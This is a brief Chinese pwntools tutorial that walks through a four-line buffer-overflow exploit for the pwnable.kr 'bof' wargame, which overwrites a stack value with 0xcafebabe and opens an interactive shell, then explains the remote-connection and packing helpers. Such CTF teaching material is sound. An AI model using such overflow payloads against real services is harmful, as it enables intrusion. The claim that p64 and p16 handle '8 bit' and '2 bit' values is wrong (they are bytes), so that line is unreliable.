参考文章:https://bbs.pediy.com/thread-247217.htm
我们先来就着上次写的bof的exp来讲解一下
from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()
remote("一个域名或者ip地址", 端口)
会连接到我们指定的地址及端口。 然后该函数会返回remote对象
remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:
send(payload)
发送payload
sendline(payload)
发送payload,并进行换行(末尾\n)
sendafter(some_string, payload)
接收到 some_string 后, 发送你的 payload
recvn(N)
接受 N(数字) 字符
recvline()
接收一行输出
recvlines(N)
接收 N(数字) 行输出
recvuntil(some_string)
接收到 some_string 为止
在第三行中,p32()
可以让我们转换整数到小端序格式.p32
转换4
字节. p64
和 p16
则分别转换 8 bit
和 2 bit
数字
c.sendline
将我们的payload发送到远程主机
c.interactive()
允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .